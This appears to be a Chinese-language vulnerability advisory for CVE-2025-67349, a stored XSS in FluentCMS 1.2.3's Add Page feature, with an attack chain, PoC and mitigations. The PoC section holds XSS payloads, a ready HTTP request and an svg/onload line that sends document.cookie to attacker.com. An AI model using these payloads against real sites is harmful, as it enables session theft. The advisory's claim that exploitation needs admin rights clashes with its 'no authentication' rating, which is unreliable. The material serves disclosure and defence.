IPBUF安全漏洞报告
English
CVE-2025-67349 CVSS 6.1 中危

CVE-2025-67349 | FluentCMS 1.2.3 存储型XSS漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-67349
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FluentCMS 1.2.3

相关标签

XSS跨站脚本FluentCMS存储型XSSCVE-2025-67349内容管理系统Web安全会话劫持

漏洞概述

CVE-2025-67349是FluentCMS 1.2.3版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于网站的"Add Page"(添加页面)功能中,攻击者通过在页面的<head>部分注入恶意脚本代码,由于应用程序未能对用户输入进行充分的输入验证和输出编码,导致恶意JavaScript代码被存储在服务器端。当其他用户访问包含恶意代码的页面时,攻击脚本将在其浏览器中执行,从而窃取用户会话cookie、劫持用户账户或进行其他恶意操作。此漏洞需要攻击者具有管理员权限才能利用,但一旦成功,可能影响所有访问该页面的用户,造成敏感信息泄露和会话劫持等安全风险。CVSS 3.1评分6.1,属于中危级别漏洞。

技术细节

该漏洞是一种存储型XSS(Stored XSS)漏洞,攻击向量为网络远程利用。漏洞根源在于FluentCMS 1.2.3在处理页面内容时,对<head>部分的输入内容缺少适当的HTML转义处理。攻击者以管理员身份登录后,访问"Add Page"功能点,在页面标题或内容区域注入恶意JavaScript代码,如<script>alert(document.cookie)</script>等。由于应用程序未对特殊字符进行HTML实体编码(<转换为&lt;,>转换为&gt;),攻击载荷被直接存储到数据库中。当其他用户访问该页面时,服务器将未经过滤的恶意代码返回给客户端浏览器,浏览器将其作为合法脚本执行。攻击者可利用此漏洞窃取用户会话令牌、修改页面内容进行钓鱼攻击、或在用户浏览器中执行任意JavaScript操作。CVSS向量显示该漏洞需要用户交互(UI:R)才能触发,攻击复杂度低(AC:L),无需特殊权限(PR:N)。

攻击链分析

STEP 1
步骤1
攻击者获取FluentCMS管理员账户凭据或通过其他方式获取管理员权限
STEP 2
步骤2
攻击者登录系统后访问"Add Page"添加页面功能
STEP 3
步骤3
在页面标题或内容字段中注入恶意XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
将payload注入到页面的<head>部分,由于缺少输入过滤,恶意代码被存储到数据库
STEP 5
步骤5
其他用户访问包含恶意代码的页面时,服务器返回未经过滤的HTML内容
STEP 6
步骤6
受害者浏览器将恶意脚本作为合法代码执行,导致Cookie/Session被窃取或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-67349 PoC - FluentCMS 1.2.3 Stored XSS in Add Page // Steps: // 1. Login to FluentCMS as admin // 2. Navigate to Add Page function // 3. Inject XSS payload in page content or title field // XSS Payload Example (inject in <head> section): // <script>alert(document.cookie)</script> // or // <img src=x onerror=alert(document.domain)> // or // <svg/onload=fetch('https://attacker.com/steal?c='+document.cookie)> // HTTP Request Example: /* POST /admin/pages/add HTTP/1.1 Host: target.com Cookie: admin_session=xxxxx Content-Type: application/x-www-form-urlencoded page_title=<script>alert(document.cookie)</script>&page_content=<script>alert(document.cookie)</script>&page_section=head */ // After submission, any user visiting the page will execute the injected script

影响范围

FluentCMS 1.2.3

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制管理员账户的创建和权限分配,确保只有可信人员拥有管理权限;2)在Web应用防火墙(WAF)上配置XSS防护规则,对<script>、javascript:、onerror等危险关键词进行过滤;3)启用浏览器的X-XSS-Protection响应头;4)对所有用户输入实施严格的输入长度和格式限制;5)监控和审计管理员操作日志,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表